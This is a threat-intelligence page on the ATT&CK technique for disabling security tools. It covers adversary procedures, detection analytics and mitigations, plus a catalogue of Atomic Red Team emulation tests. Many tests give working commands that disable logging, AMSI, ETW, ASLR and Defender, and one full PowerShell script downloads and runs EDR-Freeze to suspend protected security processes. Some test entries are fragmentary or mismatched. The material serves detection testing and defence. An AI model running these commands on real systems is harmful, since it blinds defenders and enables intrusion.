Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
Version
1.0
Created
14 April 2026
Last modified
12 May 2026
Contributors
Alex Soler, AttackIQ; Cian Heasley; Daniel Feichter, @VirtualAllocEx, Infosec Tirol; Gal Singer, @galsinger29, Team Nautilus Aqua Security; Gordon Long, LegioX/Zoom, asaurusrex; Lucas Heiligenstein; Menachem Goldstein; Nathaniel Quist, Palo Alto Networks; Nay Myo Hlaing (Ethan), DBS Bank; Rob Smith; Sarathkumar Rajendran, Microsoft Defender365; Ziv Karliner, @ziv_kr, Team Nautilus Aqua Security
Sub-techniques 6366 rules across the family · 288 mapped directly to T1685 · 5 of 6 carry rules
Adversaries may disable, degrade, or tamper with security tools or applications (e.g., endpoint detection and response (EDR) tools, intrusion detection systems (IDS), antivirus, logging agents, sensors, etc.) to impair or reduce visibility of defensive capabilities. This may include stopping specific services, killing processes, modifying or deleting tool configuration files and Registry keys, or preventing tools from updating. This may also include impairing defenses more broadly by disrupting preventative, detection, and response mechanisms across host, network, and cloud environments.[1]
In addition to directly targeting tools, adversaries may block or manipulate indicators and telemetry used for detection. This includes maliciously disabling or redirecting sensors such as Event Tracing for Windows (ETW), modifying event log configurations (e.g., redirecting Security logs), or interfering with logging pipelines and forwarding mechanisms (e.g., SIEM ingestion).[2][3]
More advanced techniques include leveraging legitimate drivers or debugging mechanisms to render tools non-functional, bypassing anti-tampering protections, and targeting specific defenses such as Sysmon or cloud monitoring agents. Adversaries may also disrupt broader defensive operations, including update mechanisms, logging infrastructure (e.g., syslog), or event aggregation, further degrading an organization’s ability to detect and respond to malicious activity.[4]
Top 5%of all ATT&CK techniques for number of groups
32 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.
Has convinced victims to disable Docker and other container environments and run code on their machine natively in attempts to bypass container isolation and ensure device infection.1
created 2025-10-191 referenceaka DeceptiveDevelopment
Has terminated antivirus services utilizing the gaze.exe executable and utilizing psexec.exe.123Medusa Group has also leveraged I/O control codes (IOCTLs) for terminating and deleting processes of identified security tools.1
During SharePoint ToolShell Exploitation, threat actors disabled Microsoft Defender through Registry settings and real-time monitoring via PowerShell.12
During Cutting Edge, threat actors disabled logging and modified the compcheckresult.cgi component to edit the Ivanti Connect Secure built-in Integrity Checker exclusion list to evade detection.12
Modified the Authentication, Authorization, and Accounting (AAA) function of targeted Cisco ASA appliances to allow the threat actor to bypass normal AAA operations.12
Used various scripts to remove or disable security tools, such as http_watchdog and firewallsd, as well as tools related to other botnet infections, such as mips_ff, on victim devices.1
During HomeLand Justice, threat actors modified and disabled components of endpoint detection and response (EDR) solutions including Microsoft Defender Antivirus.1
2021–2022
All 9 campaigns for this technique · 6 newest in this preview
87 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.
Disable or Modify Tools detection strategy DET0497
MITRE names one behaviour worth catching for this technique and breaks it into 7 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.
Detection of Defense Impairment through Disabled or Modified Tools across OS Platforms.
Enterprise
7 platforms
AN1369 · Windows
Detection of adversary behavior that disables or modifies security tools, including killing AV/EDR processes, stopping services, altering Sysmon registry keys, or tampering with exclusion lists. Defenders observe process/service termination, registry modification, and abnormal absence of expected telemetry.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
delete: Modification of systemd unit files or config for security agents
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
Field
What you tune
AgentServiceNames
List of endpoint protection service names (varies across deployments).
AllowedAdminAccounts
Accounts permitted to legitimately stop or reconfigure services.
AN1371 · macOS
Detection of adversary disabling endpoint security tools by unloading launch agents/daemons, modifying configuration profiles, or disabling Gatekeeper/XProtect/logging settings, or removing endpoint agents followed by telemetry loss.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
kubectl delete or patch of security pods/admission controllers
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
Field
What you tune
NamespaceExclusions
Exclusion of namespaces where temporary deletion of monitoring tools is legitimate (e.g., staging).
AN1374 · Network Devices
Detects disabling AAA, syslog, SNMP traps, ACL logging, or security features on routers/switches/firewalls; correlates privileged login followed by configuration commit reducing visibility.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
Periodically verify that tools are functioning appropriately – for example, that all expected hosts with EDRs or monitoring agents are checking in to the central console. Check EDRs to ensure that no unexpected exclusion paths have been added. In Microsoft Defender for Endpoint, exclusions can be reviewed with the Get-MpPreference cmdlet.
Use application control where appropriate, especially regarding the execution of tools outside of the organization's security policies (such as rootkit removal tools) that have been abused to impair system defenses. Ensure that only approved security applications are used and running on enterprise systems.
Consider automatically relaunching forwarding mechanisms at recurring intervals (ex: temporal, on-logon, etc.) as well as applying appropriate change management to firewall rules and other related system configurations.
Ensure proper user permissions are in place to prevent adversaries from disabling or interfering with security services.
Tests78Executorspowershell 35 · sh 20 · command_prompt 19 · bash 4Need elevation69 of 78Have prerequisites13Have cleanup63Platformswindows, linux, macos, office-365, iaas:aws
#
Test
Platform
Executor
Elevation
Prereqs
Cleanup
Ref
01
Windows Disable LSA Protection
windows
command_prompt
Required
—
Yes
The following Atomic adds a registry entry to disable LSA Protection.
The LSA controls and manages user rights information, password hashes and other important bits of information in memory. Attacker tools, such as mimikatz, rely on accessing this content to scrape password hashes or clear-text passwords. Enabling LSA Protection configures Windows to control the information stored in memory in a more secure fashion - specifically, to prevent non-protected processes from accessing that data.
Upon successful execution, the registry will be modified and RunAsPPL will be set to 0, disabling Lsass protection.
https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection#how-to-disable-lsa-protection
https://blog.netwrix.com/2022/01/11/understanding-lsa-protection/
https://thedfirreport.com/2022/03/21/phosphorus-automates-initial-access-using-proxyshell/
Attack Commandsrun with command_promptelevation required (root or admin)
sudo systemctl start systemd-journald #starts journal service
sudo systemctl enable systemd-journald #starts journal service automatically at boot time
GUIDc3a377f9-1203-4454-aa35-9d391d34768f
03
Disable journal logging via sed utility
linux
sh
Required
—
Yes
The atomic test disables the journal logging by searching and replacing the "Storage" parameter to "none" within the journald.conf file, thus any new journal entries will only be temporarily available in memory and not written to disk
Attack Commandsrun with shelevation required (root or admin)
sudo sed -i 's/Storage=auto/Storage=none/' /etc/systemd/journald.conf
Cleanup Commands
sudo sed -i 's/Storage=none/Storage=auto/' /etc/systemd/journald.conf #re-enables storage of journal data
sudo systemctl restart systemd-journald #restart the journal service
GUID12e5551c-8d5c-408e-b3e4-63f53b03379f
04
Disable syslog
linux
sh
Required
1
Yes
Disables syslog collection
Inputs
Name
Description
Type
Default Value
flavor_command
Command to disable syslog collection. Default newer rsyslog commands. i.e older command = service rsyslog stop ; chkconfig off rsyslog
Unloads the Sysinternals Sysmon filter driver without stopping the Sysmon service. To verify successful execution,
run the prereq_command's and it should fail with an error of "sysmon filter must be loaded".
Inputs
Name
Description
Type
Default Value
sysmon_driver
The name of the Sysmon filter driver (this can change from the default)
string
SysmonDrv
Attack Commandsrun with command_promptelevation required (root or admin)
Any easy way to bypass AMSI inspection is it patch the dll in memory setting the "amsiInitFailed" function to true.
Upon execution, no output is displayed.
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
With administrative rights, an adversary can remove the AMSI Provider registry key in HKLM\Software\Microsoft\AMSI to disable AMSI inspection.
This test removes the Windows Defender provider registry key. Upon execution, no output is displayed.
Open Registry Editor and navigate to "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\" to verify that it is gone.
Attack Commandsrun with powershellelevation required (root or admin)
With administrative rights, an adversary can disable Windows Services related to security products. This test requires McAfeeDLPAgentService to be installed.
Change the service_name input argument for your AV solution. Upon exeuction, infomration will be displayed stating the status of the service.
To verify that the service has stopped, run "sc query McAfeeDLPAgentService"
Inputs
Name
Description
Type
Default Value
service_name
The name of the service to stop
string
McAfeeDLPAgentService
Attack Commandsrun with command_promptelevation required (root or admin)
Attempting to disable scheduled scanning and other parts of windows defender atp. Upon execution Virus and Threat Protection will show as disabled
in Windows settings.
Attack Commandsrun with powershellelevation required (root or admin)
Attempting to disable scheduled scanning and other parts of windows defender atp. These commands must be run as System, so they still fail as administrator.
However, adversaries do attempt to perform this action so monitoring for these command lines can help alert to other bad things going on. Upon execution, "Access Denied"
will be displayed twice and the WinDefend service status will be displayed.
Attack Commandsrun with command_promptelevation required (root or admin)
Disable Windows Defender from starting after a reboot. Upen execution, if the computer is rebooted the entire Virus and Threat protection window in Settings will be
grayed out and have no info.
Attack Commandsrun with powershellelevation required (root or admin)
Gorgon group may disable Office security features so that their code can run. Upon execution, an external document will not
show any warning before editing the document.
https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/
Removing definition files would cause ATP to not fire for AntiMalware. Check MpCmdRun.exe man page for info on all arguments.
On later viersions of windows (1909+) this command fails even with admin due to inusfficient privelages. On older versions of windows the
command will say completed.
https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/
Attack Commandsrun with command_promptelevation required (root or admin)
Stop and Remove Arbitrary Security Windows Service
windows
powershell
Required
—
—
Beginning with Powershell 6.0, the Stop-Service cmdlet sends a stop message to the Windows Service Controller for each of the specified services. The Remove-Service cmdlet removes a Windows service in the registry and in the service database.
Inputs
Name
Description
Type
Default Value
service_name
The name of the service to remove
string
McAfeeDLPAgentService
Attack Commandsrun with powershellelevation required (root or admin)
Uninstall Crowdstrike Falcon. If the WindowsSensor.exe path is not provided as an argument we need to search for it. Since the executable is located in a folder named with a random guid we need to identify it before invoking the uninstaller.
Inputs
Name
Description
Type
Default Value
falcond_path
The Crowdstrike Windows Sensor path. The Guid always changes.
Tamper with Windows Defender Evade Scanning -Folder
windows
powershell
Required
—
Yes
Malware can exclude a specific path from being scanned and evading detection.
Upon successul execution, the file provided should be on the list of excluded path.
To check the exclusion list using poweshell (Get-MpPreference).ExclusionPath
Inputs
Name
Description
Type
Default Value
excluded_folder
This folder will be excluded from scanning
path
C:\Temp
Attack Commandsrun with powershellelevation required (root or admin)
Tamper with Windows Defender Evade Scanning -Extension
windows
powershell
Required
—
Yes
Malware can exclude specific extensions from being scanned and evading detection.
Upon successful execution, the extension(s) should be on the list of excluded extensions.
To check the exclusion list using poweshell (Get-MpPreference).ExclusionExtension.
Inputs
Name
Description
Type
Default Value
excluded_exts
A list of extension to exclude from scanning
string
.exe
Attack Commandsrun with powershellelevation required (root or admin)
Tamper with Windows Defender Evade Scanning -Process
windows
powershell
Required
—
Yes
Malware can exclude specific processes from being scanned and evading detection.
Upon successful execution, the process(es) should be on the list of excluded processes.
To check the exclusion list using poweshell (Get-MpPreference).ExclusionProcess."
Inputs
Name
Description
Type
Default Value
excluded_process
A list of processes to exclude from scanning
string
outlook.exe
Attack Commandsrun with powershellelevation required (root or admin)
The following Atomic will attempt to disable Windows-Defender using the built in DISM.exe, Deployment Image Servicing and Management tool.
DISM is used to enumerate, install, uninstall, configure, and update features and packages in Windows images.
A successful execution will not standard-out any details. Remove the quiet switch if verbosity is needed.
This method will remove Defender and it's package.
Attack Commandsrun with command_promptelevation required (root or admin)
Information on NirSoft AdvancedRun and its creators found here: http://www.nirsoft.net/utils/advanced_run.html
This Atomic will run AdvancedRun.exe with similar behavior identified during the WhisperGate campaign.
See https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3
Upon successful execution, AdvancedRun.exe will attempt to run and stop Defender, and optionally attempt to delete the Defender folder on disk.
Kill antimalware protected processes using Backstab
windows
powershell
Required
1
—
Backstab loads Process Explorer driver which is signed by Microsoft and use it to terminate running processes protected by antimalware software such as MsSense.exe or MsMpEng.exe, which is otherwise not possible to kill.
https://github.com/Yaxser/Backstab
Inputs
Name
Description
Type
Default Value
process_name
Name of the protected process you want to kill/terminate.
string
MsMpEng.exe
Attack Commandsrun with powershellelevation required (root or admin)
Tamper with Windows Defender ATP using Aliases - PowerShell
windows
powershell
Required
—
Yes
Attempting to disable scheduled scanning and other parts of Windows Defender ATP using set-MpPreference aliases. Upon execution Virus and Threat Protection will show as disabled
in Windows settings.
Attack Commandsrun with powershellelevation required (root or admin)
Disable Windows Defender with PwSh Disable-WindowsOptionalFeature
windows
powershell
Required
—
—
The following Atomic will attempt to disable Windows-Defender using the built in PowerShell cmdlet Disable-WindowsOptionalFeature, Deployment Image Servicing and Management tool.
Similar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images.
A successful execution will not standard-out any details. Remove the quiet switch if verbosity is needed.
This method will remove Defender and it's packages.
Reference: https://docs.microsoft.com/en-us/powershell/module/dism/disable-windowsoptionalfeature?view=windowsserver2022-ps
Attack Commandsrun with powershellelevation required (root or admin)
WMIC Tamper with Windows Defender Evade Scanning Folder
windows
command_prompt
Required
—
Yes
The following Atomic will attempt to exclude a folder within Defender leveraging WMI
Reference: https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/
Attack Commandsrun with command_promptelevation required (root or admin)
wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath=\"ATOMICREDTEAM\"
Cleanup Commands
wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Remove ExclusionPath=\"ATOMICREDTEAM\"
GUID59d386fc-3a4b-41b8-850d-9e3eee24dfe4
41
Delete Windows Defender Scheduled Tasks
windows
command_prompt
Required
1
Yes
The following atomic test will delete the Windows Defender scheduled tasks.
Reference
Attack Commandsrun with command_promptelevation required (root or admin)
clear pagging cache via system request. This is a temporary change in the system to clear paging cache. This technique seen in Awfulshred wiper as part
of its malicious payload on the compromised host. added reference link for this technique: https://www.tecmint.com/clear-ram-memory-cache-buffer-and-swap-space-on-linux/
Attack Commandsrun with shelevation required (root or admin)
disable swapping of device paging that impaire the compromised host to swap data if the RAM is full. Awfulshred wiper used this technique as an additional
payload to the compromised host and to make sure that there will be no recoverable data due to swap feature of FreeBSD/linux.
Attack Commandsrun with shelevation required (root or admin)
swapon -a
sleep 2
swapoff -a
sync
Cleanup Commands
swapon -a
sleep 2
sync
GUIDe74e4c63-6fde-4ad2-9ee8-21c3a1733114
47
Disable Hypervisor-Enforced Code Integrity (HVCI)
windows
powershell
Required
1
Yes
This test disables Hypervisor-Enforced Code Integrity (HVCI) by setting the registry key HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity "Enabled" value to "0".
The pre-req needs to be ran in order to setup HVCI and have it enabled.
We do not recommend running this in production.
Black Lotus CampaignMicrosoft
Attack Commandsrun with powershellelevation required (root or admin)
With administrative rights, an adversary can disable AMSI via registry value in HKCU\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec} by overriding the Microsoft Defender COM object for AMSI and points it to a DLL that does not exist.
This is currently being used by AsyncRAT and others.
https://strontic.github.io/xcyclopedia/library/clsid_fdb00e52-a214-4aa1-8fba-4357bb0072ec.html
https://securitynews.sonicwall.com/xmlpost/asyncrat-variant-includes-cryptostealer-capabilites/
Attack Commandsrun with command_promptelevation required (root or admin)
echo "If test successfully ran, no cleanup required."
Dependenciesrun with bash
Description
Check if ~/.aws/credentials file has a default stanza is configured
Check Prereq Commands
cat ~/.aws/credentials | grep "default"
Get Prereq Commands
echo "Please install the aws-cli and configure your AWS default profile using: aws configure"
GUID11e65d8d-e7e4-470e-a3ff-82bc56ad938e
50
Tamper with Defender ATP on Linux/MacOS
linux, macos
sh
Required
—
Yes
With root privileges, an adversary can disable real time protection. Note, this test assumes Defender is not in passive mode and real-time protection is enabled. The use of a managed.json on Linux or Defender .plist on MacOS will prevent these changes. Tamper protection will also prevent this (available on MacOS, but not Linux at the time of writing). Installation of MDATP is a prerequisite. Installation steps vary across MacOS and Linux distros. See Microsoft public documentation for instructions: https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/mac-install-manually?view=o365-worldwide https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/linux-install-manually?view=o365-worldwide
Attack Commandsrun with shelevation required (root or admin)
ESXi - Disable Account Lockout Policy via PowerCLI
linux
powershell
Required
1
—
An adversary may disable account lockout policy within ESXi to have the ability to prevent defensive actions from being enforced in the future or to prevent future alerting.
Inputs
Name
Description
Type
Default Value
vm_host
Specify the host name of the ESXi Server
string
atomic.local
vm_pass
Specify the privilege user password on ESXi Server
string
pass
vm_user
Specify the privilege user account on ESXi Server
string
root
Attack Commandsrun with powershellelevation required (root or admin)
This test simulates the deletion of the ASR rules loaded by Microsoft Defender using the registry. Depending on the deployment, rules can be pushed either using GPO or InTune, This test simulates an InTune-based rules deployment.
Attack Commandsrun with powershellelevation required (root or admin)
This test simulates the deletion of the ASR rules loaded by Microsoft Defender using the registry. Depending on the deployment, rules can be pushed either using GPO or InTune, This test simulates a GPO-based rules deployment.
Attack Commandsrun with powershellelevation required (root or admin)
Threat Actor could disable the AMSI function by adding a registry value name “AmsiEnable” to the registry key “HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable” and set its value to 0.
Ref: https://mostafayahiax.medium.com/hunting-for-amsi-bypassing-methods-9886dda0bf9d
Attack Commandsrun with powershellelevation required (root or admin)
Disable EventLog-Application Auto Logger Session Via Registry - Cmd
windows
command_prompt
Required
—
Yes
This atomic simulates an activity where an attacker disables the EventLog-Application ETW Auto Logger session using the reg.exe utility to update the Windows registry value "Start". This would effectivly disable the Event log application channel. The changes would only take effect after a restart.
Attack Commandsrun with command_promptelevation required (root or admin)
Disable EventLog-Application Auto Logger Session Via Registry - PowerShell
windows
powershell
Required
—
Yes
This atomic simulates an activity where an attacker disables the EventLog-Application ETW Auto Logger session using the powershell.exe "New-ItemProperty" cmdlet to update the Windows registry value "Start". This would effectivly disable the Event log application channel. The changes would only take effect after a restart.
Attack Commandsrun with powershellelevation required (root or admin)
Disable EventLog-Application ETW Provider Via Registry - Cmd
windows
command_prompt
Required
—
Yes
This atomic simulates an activity where an attacker disables a specific ETW provider from the EventLog-Application ETW Auto Logger session using the reg.exe utility to update the Windows registry value "Enabled". This would effectivly remove that provider from the session and cause to not emit any logs of that type. The changes would only take effect after a restart.
Inputs
Name
Description
Type
Default Value
ETWProviderGUID
Microsoft-Windows-SenseIR ETW Provider GUID
string
{B6D775EF-1436-4FE6-BAD3-9E436319E218}
Attack Commandsrun with command_promptelevation required (root or admin)
Disable EventLog-Application ETW Provider Via Registry - PowerShell
windows
powershell
Required
—
Yes
This atomic simulates an activity where an attacker disables a specific ETW provider from the EventLog-Application ETW Auto Logger session using the powershell.exe "New-ItemProperty" cmdlet to update the Windows registry value "Enabled". This would effectivly remove that provider from the session and cause to not emit any logs of that type. The changes would only take effect after a restart.
Inputs
Name
Description
Type
Default Value
ETWProviderGUID
Microsoft-Windows-SenseIR ETW Provider GUID
string
{B6D775EF-1436-4FE6-BAD3-9E436319E218}
Attack Commandsrun with powershellelevation required (root or admin)
This test utilizes the tool EDR-Freeze, which leverages the native Microsoft binary WerFaultSecure.exe to suspend processes protected by the Protected Process Light mechanism. PPL is a Windows security feature designed to safeguard critical system processes — such as those related to antivirus, credential protection, and system integrity — from tampering or inspection. These processes operate in a restricted environment that prevents access even from administrators or debugging tools, unless the accessing tool is signed and trusted by Microsoft. By using WerFaultSecure.exe, which is inherently trusted by the operating system, EDR-Freeze is able to bypass these restrictions and temporarily freeze PPL-protected processes for analysis or testing purposes.
Inputs
Name
Description
Type
Default Value
processName
PPL-protected process name to target
string
SecurityHealthService
Attack Commandsrun with powershellelevation required (root or admin)
# Enable SeDebugPrivilege
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class TokenAdjuster {
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool OpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out long lpLuid);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges,
ref TOKEN_PRIVILEGES NewState, uint BufferLength, IntPtr PreviousState, IntPtr ReturnLength);
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct TOKEN_PRIVILEGES {
public int PrivilegeCount;
public long Luid;
public int Attributes;
}
public const int SE_PRIVILEGE_ENABLED = 0x00000002;
public const uint TOKEN_ADJUST_PRIVILEGES = 0x0020;
public const uint TOKEN_QUERY = 0x0008;
public static bool EnableSeDebugPrivilege() {
IntPtr hToken;
if (!OpenProcessToken(System.Diagnostics.Process.GetCurrentProcess().Handle, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, out hToken))
return false;
long luid;
if (!LookupPrivilegeValue(null, "SeDebugPrivilege", out luid))
return false;
TOKEN_PRIVILEGES tp = new TOKEN_PRIVILEGES();
tp.PrivilegeCount = 1;
tp.Luid = luid;
tp.Attributes = SE_PRIVILEGE_ENABLED;
return AdjustTokenPrivileges(hToken, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);
}
}
"@
$result = [TokenAdjuster]::EnableSeDebugPrivilege()
if ($result) {
Write-Host "SeDebugPrivilege enabled successfully." -ForegroundColor Green
} else {
Write-Host "Failed to enable SeDebugPrivilege." -ForegroundColor Red
exit 1
}
# Get basic process info
$process = Get-Process -Name $#{processName} -ErrorAction Stop
$processName = $process.ProcessName
Write-Host "Process Name: $processName)"
Write-Host "PID: $($process.Id)"
# Get executable path and user info
$query = "SELECT * FROM Win32_Process WHERE Name = '$processName.exe'"
$wmiProcess = Get-WmiObject -Query $query
$owner = $wmiProcess.GetOwner()
Write-Host "User: $($owner.Domain)\$($owner.User)"
# Get the folder of the current script
$scriptFolder = Split-Path -Parent $MyInvocation.MyCommand.Definition
# Download latest EDR-Freeze package and extract (force replace)
$downloadUrl = "https://github.com/TwoSevenOneT/EDR-Freeze/releases/download/main/EDR-Freeze_1.0.zip"
$zipPath = Join-Path $scriptFolder "EDR-Freeze_1.0.zip"
Write-Host "Downloading latest EDR-Freeze from $downloadUrl" -ForegroundColor Cyan
try {
Invoke-WebRequest -Uri $downloadUrl -OutFile $zipPath -UseBasicParsing -ErrorAction Stop
Write-Host "Download completed: $zipPath" -ForegroundColor Green
$extractFolder = $scriptFolder
if (Test-Path $zipPath) {
Write-Host "Extracting archive to $extractFolder (overwriting existing files)" -ForegroundColor Cyan
if (Test-Path $extractFolder) {
# Ensure target exe not locked; attempt to stop any running instance silently
Get-Process -Name "EDR-Freeze_1.0" -ErrorAction SilentlyContinue | Stop-Process -Force -ErrorAction SilentlyContinue
}
Add-Type -AssemblyName System.IO.Compression.FileSystem 2>$null
# Custom extraction routine (overwrite existing) compatible with .NET Framework (no bool overwrite overload)
$archive = $null
try {
$archive = [System.IO.Compression.ZipFile]::OpenRead($zipPath)
foreach ($entry in $archive.Entries) {
if ([string]::IsNullOrWhiteSpace($entry.FullName)) { continue }
if ($entry.FullName.EndsWith('/')) { # directory entry
$dirPath = Join-Path $extractFolder $entry.FullName
if (-not (Test-Path $dirPath)) { New-Item -ItemType Directory -Path $dirPath -Force | Out-Null }
continue
}
$destPath = Join-Path $extractFolder $entry.FullName
$destDir = Split-Path $destPath -Parent
if (-not (Test-Path $destDir)) { New-Item -ItemType Directory -Path $destDir -Force | Out-Null }
if (Test-Path $destPath) { Remove-Item -Path $destPath -Force -ErrorAction SilentlyContinue }
try {
# Use static extension method (PowerShell 5.1 compatible)
[System.IO.Compression.ZipFileExtensions]::ExtractToFile($entry, $destPath, $false)
} catch {
Write-Host "Failed to extract entry $($entry.FullName): $_" -ForegroundColor Yellow
}
}
Write-Host "Extraction completed." -ForegroundColor Green
} finally {
if ($archive) { $archive.Dispose() }
}
}
} catch {
Write-Host "Failed to download or extract EDR-Freeze: $_" -ForegroundColor Red
}
# Wait 15s before putting targeted process before putting it in the comma
Write-Host "Waiting 15s before putting $processName in the comma" -ForegroundColor Yellow
Start-Sleep -Seconds 5
Write-Host "Waiting 10s before putting $processName in the comma" -ForegroundColor Yellow
Start-Sleep -Seconds 5
Write-Host "Waiting 5s before putting $processName in the comma" -ForegroundColor Yellow
Start-Sleep -Seconds 3
Write-Host "Waiting 2s before putting $processName in the comma" -ForegroundColor Yellow
Start-Sleep -Seconds 2
# Put targeted process in the comma for 15s
# Discover the EDR-Freeze executable dynamically (pick most recent if multiple)
$edrFreezeExeName = Get-ChildItem -Path $scriptFolder -Filter 'EDR-Freeze_*.exe' -ErrorAction SilentlyContinue |
Sort-Object LastWriteTime -Descending |
Select-Object -First 1 -ExpandProperty Name
if (-not $edrFreezeExeName) {
Write-Host "No EDR-Freeze executable (EDR-Freeze_*.exe) found in $scriptFolder" -ForegroundColor Red
exit 1
}
$edrFreezeExe = Join-Path $scriptFolder $edrFreezeExeName
Write-Host "Using EDR-Freeze executable: $edrFreezeExeName" -ForegroundColor Cyan
Write-Host "$processName putted in the comma for 15s, by targetting Process ID $($htaProcess.Id)" -ForegroundColor Yellow
Start-Process -FilePath $edrFreezeExe -ArgumentList ("$($process.Id) 15000") | Out-Null
Detects Execution of the sysctl command to set kernel.randomize_va_space=0 which disables Address Space Layout Randomization (ASLR) in Linux.
Attack Commandsrun with bashelevation required (root or admin)
sysctl -w kernel.randomize_va_space=0
Cleanup Commands
sysctl -w kernel.randomize_va_space=2
GUIDac333fe1-ce2b-400b-a117-538634427439
63
Auditing Configuration Changes on Linux Host
linux
bash
Required
—
Yes
Emulates modification of auditd configuration files
Inputs
Name
Description
Type
Default Value
audisp_config_file_name
The name of the audispd configuration file to be changed
string
audispd.conf
auditd_config_file_name
The name of the auditd configuration file to be changed
string
auditd.conf
libaudit_config_file_name
The name of the libaudit configuration file to be changed
string
libaudit.conf
Attack Commandsrun with bashelevation required (root or admin)
sed -i '$ a #art_test_1562_006_1' /etc/audisp/#{audisp_config_file_name}
if [ -f "/etc/#{auditd_config_file_name}" ];
then sed -i '$ a #art_test_1562_006_1' /etc/#{auditd_config_file_name}
else sed -i '$ a #art_test_1562_006_1' /etc/audit/#{auditd_config_file_name}
fi
sed -i '$ a #art_test_1562_006_1' /etc/#{libaudit_config_file_name}
Cleanup Commands
sed -i '$ d' /etc/audisp/#{audisp_config_file_name}
if [ -f "/etc/#{auditd_config_file_name}" ];
then sed -i '$ d' /etc/#{auditd_config_file_name}
else sed -i '$ d' /etc/audit/#{auditd_config_file_name}
fi
sed -i '$ d' /etc/#{libaudit_config_file_name}
GUID212cfbcf-4770-4980-bc21-303e37abd0e3
64
Auditing Configuration Changes on FreeBSD Host
linux
sh
Required
—
Yes
Emulates modification of auditd configuration files
Inputs
Name
Description
Type
Default Value
auditd_config_file_name
The name of the auditd configuration file to be changed
string
audit_event
Attack Commandsrun with shelevation required (root or admin)
sed -i "" '/#art_test_1562_006_1/d' /etc/security/#{auditd_config_file_name}
GUIDcedaf7e7-28ee-42ab-ba13-456abd35d1bd
65
Logging Configuration Changes on Linux Host
linux
bash
Required
—
Yes
Emulates modification of syslog configuration.
Inputs
Name
Description
Type
Default Value
syslog_config_file_name
The name of the syslog configuration file to be changed
string
syslog.conf
rsyslog_config_file_name
The name of the rsyslog configuration file to be changed
string
rsyslog.conf
syslog_ng_config_file_name
The name of the syslog-ng configuration file to be changed
string
syslog-ng.conf
Attack Commandsrun with bashelevation required (root or admin)
if [ -f "/etc/#{syslog_config_file_name}" ];
then sed -i '$ a #art_test_1562_006_2' /etc/#{syslog_config_file_name}
fi
if [ -f "/etc/#{rsyslog_config_file_name}" ];
then sed -i '$ a #art_test_1562_006_2' /etc/#{rsyslog_config_file_name}
fi
if [ -f "/etc/syslog-ng/#{syslog_ng_config_file_name}" ];
then sed -i '$ a #art_test_1562_006_2' /etc/syslog-ng/#{syslog_ng_config_file_name}
fi
Cleanup Commands
if [ -f "/etc/#{syslog_config_file_name}" ];
then sed -i '$ d' /etc/#{syslog_config_file_name}
fi
if [ -f "/etc/#{rsyslog_config_file_name}" ];
then sed -i '$ d' /etc/#{rsyslog_config_file_name}
fi
if [ -f "/etc/syslog-ng/#{syslog_ng_config_file_name}" ];
then sed -i '$ d' /etc/syslog-ng/#{syslog_ng_config_file_name}
fi
GUID7d40bc58-94c7-4fbb-88d9-ebce9fcdb60c
66
Logging Configuration Changes on FreeBSD Host
linux
sh
Required
—
Yes
Emulates modification of syslog configuration.
Inputs
Name
Description
Type
Default Value
syslog_config_file_name
The name of the syslog configuration file to be changed
string
syslog.conf
Attack Commandsrun with shelevation required (root or admin)
if [ -f "/etc/#{syslog_config_file_name}" ];
then echo '#art_test_1562_006_2' >> /etc/#{syslog_config_file_name}
fi
Cleanup Commands
if [ -f "/etc/#{syslog_config_file_name}" ];
then sed -i "" '/#art_test_1562_006_2/d' /etc/#{syslog_config_file_name}
fi
GUID6b8ca3ab-5980-4321-80c3-bcd77c8daed8
67
Disable Powershell ETW Provider - Windows
windows
powershell
Required
1
Yes
This test was created to disable the Microsoft Powershell ETW provider by using the built-in Windows tool, logman.exe. This provider is used as a common source of telemetry in AV/EDR solutions.
LockBit Black - Disable the ETW Provider of Windows Defender -cmd
windows
command_prompt
Required
—
Yes
An adversary can disable the ETW Provider of Windows Defender,
so nothing would be logged to Microsoft-Windows-Windows-Defender/Operational anymore.
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-075a
Attack Commandsrun with command_promptelevation required (root or admin)
LockBit Black - Disable the ETW Provider of Windows Defender -Powershell
windows
powershell
Required
—
Yes
An adversary can disable the ETW Provider of Windows Defender,
